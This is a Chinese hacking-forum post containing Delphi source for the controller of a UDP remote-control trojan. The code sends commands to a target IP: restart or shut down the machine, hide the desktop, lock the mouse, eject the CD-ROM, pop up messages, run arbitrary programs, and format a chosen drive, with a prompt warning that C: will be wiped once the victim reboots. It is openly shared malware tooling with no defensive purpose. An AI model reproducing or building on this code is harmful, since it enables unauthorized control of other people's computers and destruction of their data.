论坛: 编程破解 标题: 远程控制(server) 复制本贴地址    
作者: sainthero [sainthero]    论坛用户   登录
unit Server;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Menus, NMUDP, StdCtrls;

type
  TForm1 = class(TForm)
    SUDP: TNMUDP;
    MainMenu1: TMainMenu;
    WIndows1: TMenuItem;
    N1: TMenuItem;
    N2: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    N9: TMenuItem;
    N10: TMenuItem;
    N11: TMenuItem;
    N12: TMenuItem;
    N13: TMenuItem;
    N14: TMenuItem;
    N15: TMenuItem;
    N16: TMenuItem;
    N17: TMenuItem;
    N18: TMenuItem;
    N19: TMenuItem;
    N20: TMenuItem;
    N21: TMenuItem;
    N22: TMenuItem;
    N23: TMenuItem;
    Edit2: TEdit;
    StaticText1: TStaticText;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure N1Click(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
    procedure N5Click(Sender: TObject);
    procedure N7Click(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure N10Click(Sender: TObject);
    procedure N13Click(Sender: TObject);
    procedure N12Click(Sender: TObject);
    procedure N15Click(Sender: TObject);
    procedure N16Click(Sender: TObject);
    procedure N17Click(Sender: TObject);
    procedure N18Click(Sender: TObject);
    procedure N19Click(Sender: TObject);
    procedure N20Click(Sender: TObject);
    procedure N21Click(Sender: TObject);
    procedure N22Click(Sender: TObject);
    procedure N23Click(Sender: TObject);
  private
  procedure winexit(var msg:tmessage);message wm_queryendsession;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
const BufSize=2048;
var
  RsltStream,TmpStream:TMemoryStream;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

procedure TForm1.winexit(var msg:tmessage);
begin
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

procedure TForm1.N1Click(Sender: TObject);
var
 ReqCode:array[0..29] of char;
 ReqCodeStr:string;
begin
  ReqCodeStr:='restart';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N2Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
  ReqCodeStr:='close';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N4Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
  ReqCodeStr:='cscre';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N5Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
  ReqCodeStr:='oscre';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N7Click(Sender: TObject);
var ReqCode:array[0..250] of char;ReqCodeStr:string;
  xinxi:string;
begin
 xinxi:=inputbox('请输入要发送的信息','信息','');
 if xinxi<>'' then
  begin
  ReqCodeStr:='�'+xinxi;
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,250);
  end;
end;


procedure TForm1.N9Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
  ReqCodeStr:='cmouse';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;
procedure TForm1.N10Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
  ReqCodeStr:='omouse';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N13Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
  ReqCodeStr:='hdesk';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N12Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
  ReqCodeStr:='sdesk';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N15Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
  ReqCodeStr:='ocdrom';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N16Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
  ReqCodeStr:='ccdrom';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N17Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
  ReqCodeStr:='ccompu';
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N18Click(Sender: TObject);
var
  ReqCode:array[0..250] of char;
  ReqCodeStr:string;
  nrun:string;
begin
 nrun:=inputbox('请输入路径,文件名及参数','输入','');
 if nrun<>'' then
 begin
  ReqCodeStr:='nrun'+nrun;
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,250);
  end;
end;

procedure TForm1.N19Click(Sender: TObject);
var
  ReqCode:array[0..250] of char;
  ReqCodeStr:string;
  nrun:string;
begin
 nrun:=inputbox('请输入路径,文件名及参数','输入','');
 if nrun<>'' then
 begin
  ReqCodeStr:='nrun'+nrun;
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,250);
  end;
end;
procedure TForm1.N20Click(Sender: TObject);
var
 ReqCode:array[0..250] of char;
 ReqCodeStr:string;
 hrun:string;
begin
 hrun:=inputbox('请输入路径,文件名及参数','输入','');
 if hrun<>'' then begin

  ReqCodeStr:='hrun'+hrun;
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,250);
  end;
end;

procedure TForm1.N21Click(Sender: TObject);
var
 ReqCode:array[0..250] of char;
 ReqCodeStr:string;
 irun:string;
begin
 irun:=inputbox('请输入路径,文件名及参数','输入','');
 if irun<>'' then
  begin
  ReqCodeStr:='irun'+irun;
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,250);
  end;
end;

procedure TForm1.N22Click(Sender: TObject);
var
 ReqCode:array[0..250] of char;
 ReqCodeStr:string;
 mrun:string;
begin
 mrun:=inputbox('请输入路径,文件名及参数','输入','');
 if mrun<>'' then
 begin
  ReqCodeStr:='mrun'+mrun;
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,250);
  end;
end;

procedure TForm1.N23Click(Sender: TObject);
var
 ReqCode:array[0..29] of char;
 ReqCodeStr:string;
 disk:string[4];
begin
disk:=inputbox('请输入要格式化的盘符','盘符','');
if disk<>'' then begin
  if copy(disk,1,1)='c' then
  showmessage('对方重启后C:盘将被格式化!');
  ReqCodeStr:='fordis'+disk;
  StrpCopy(ReqCode,ReqCodeStr);
  TmpStream.Clear;
  RsltStream.Clear;
  SUDP.RemoteHost:=Edit2.Text;
  SUDP.SendBuffer(ReqCode,30);
  end;
end;
end.

end.

地主 发表时间: 05/24 19:14

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon

粤ICP备05087286号